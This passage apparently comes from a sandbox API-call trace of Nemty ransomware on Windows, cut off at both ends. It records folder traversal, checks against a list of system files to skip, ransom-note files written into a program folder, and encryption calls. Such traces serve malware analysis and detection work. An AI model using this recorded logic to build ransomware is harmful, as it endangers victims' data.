(lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0086.264] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0086.264] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0086.264] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0086.264] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0086.264] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0086.264] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0086.264] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0086.264] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0086.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0086.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0086.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0086.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0086.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0086.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0086.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0086.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0086.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0086.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0086.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0086.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0086.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0086.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0086.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0086.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0086.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0086.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0086.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0086.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0086.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.265] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe667b6d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xe667b6d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe667b6d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0086.265] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0086.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0086.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0086.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0086.265] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="SpecialOccasion", cAlternateFileName="SPECIA~1")) returned 1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2=".") returned 1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2="..") returned 1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2="...") returned 1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2="windows") returned -1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2="$RECYCLE.BIN") returned 1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2="rsa") returned 1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2="NTDETECT.COM") returned 1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2="ntldr") returned 1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2="MSDOS.SYS") returned 1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2="IO.SYS") returned 1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2="boot.ini") returned 1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2="boot.ini") returned 1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2="AUTOEXEC.BAT") returned 1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2="ntuser.dat") returned 1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2="desktop.ini") returned 1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2="CONFIG.SYS") returned 1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2="RECYCLER") returned 1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2="BOOTSECT.BAK") returned 1 [0086.265] lstrcmpiW (lpString1="SpecialOccasion", lpString2="bootmgr") returned 1 [0086.266] lstrcmpiW (lpString1="SpecialOccasion", lpString2="programdata") returned 1 [0086.266] lstrcmpiW (lpString1="SpecialOccasion", lpString2="appdata") returned 1 [0086.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialOccasion", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0086.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialOccasion", cchWideChar=15, lpMultiByteStr=0x653ef10, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialOccasion", lpUsedDefaultChar=0x0) returned 15 [0086.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0086.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialOccasion", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0086.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialOccasion", cchWideChar=15, lpMultiByteStr=0x653ef10, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialOccasion", lpUsedDefaultChar=0x0) returned 15 [0086.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0086.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0086.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0086.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0086.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0086.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0086.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0086.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0086.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d0 [0086.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0086.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340048 [0086.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0086.266] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0086.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0086.268] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.268] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0086.269] CloseHandle (hObject=0x3cc) returned 1 [0086.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0086.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0086.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0086.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0086.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0086.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0086.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0086.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0086.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0086.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0086.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0086.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0086.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0086.270] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0086.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0086.271] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.271] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0086.272] CloseHandle (hObject=0x3cc) returned 1 [0086.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0086.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0086.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0086.272] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe710b870, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe710b870, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0086.272] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0086.272] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe710b870, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe710b870, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0086.272] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0086.272] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0086.272] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0086.272] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0086.272] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0086.272] lstrcmpiW (lpString1="1047x576black.png", lpString2="...") returned 1 [0086.272] lstrcmpiW (lpString1="1047x576black.png", lpString2="windows") returned -1 [0086.272] lstrcmpiW (lpString1="1047x576black.png", lpString2="$RECYCLE.BIN") returned 1 [0086.272] lstrcmpiW (lpString1="1047x576black.png", lpString2="rsa") returned -1 [0086.272] lstrcmpiW (lpString1="1047x576black.png", lpString2="NTDETECT.COM") returned -1 [0086.272] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0086.272] lstrcmpiW (lpString1="1047x576black.png", lpString2="MSDOS.SYS") returned -1 [0086.272] lstrcmpiW (lpString1="1047x576black.png", lpString2="IO.SYS") returned -1 [0086.273] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0086.273] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0086.273] lstrcmpiW (lpString1="1047x576black.png", lpString2="AUTOEXEC.BAT") returned -1 [0086.273] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0086.273] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0086.273] lstrcmpiW (lpString1="1047x576black.png", lpString2="CONFIG.SYS") returned -1 [0086.273] lstrcmpiW (lpString1="1047x576black.png", lpString2="RECYCLER") returned -1 [0086.273] lstrcmpiW (lpString1="1047x576black.png", lpString2="BOOTSECT.BAK") returned -1 [0086.273] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0086.273] lstrcmpiW (lpString1="1047x576black.png", lpString2="programdata") returned -1 [0086.273] lstrcmpiW (lpString1="1047x576black.png", lpString2="appdata") returned -1 [0086.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0086.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0086.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0086.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0086.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0086.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0086.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0086.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0086.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0086.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0086.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0086.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0086.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0086.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0086.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0086.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0086.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0086.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0086.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0086.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94358 [0086.274] Sleep (dwMilliseconds=0x5) [0086.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe71319d0, dwHighDateTime=0x1d561e7)) [0086.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe71319d0, dwHighDateTime=0x1d561e7)) [0086.281] GetLastError () returned 0xb7 [0086.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0086.281] GetLastError () returned 0xb7 [0086.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0086.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0086.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0086.282] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0086.282] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0086.282] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0086.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0086.282] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: 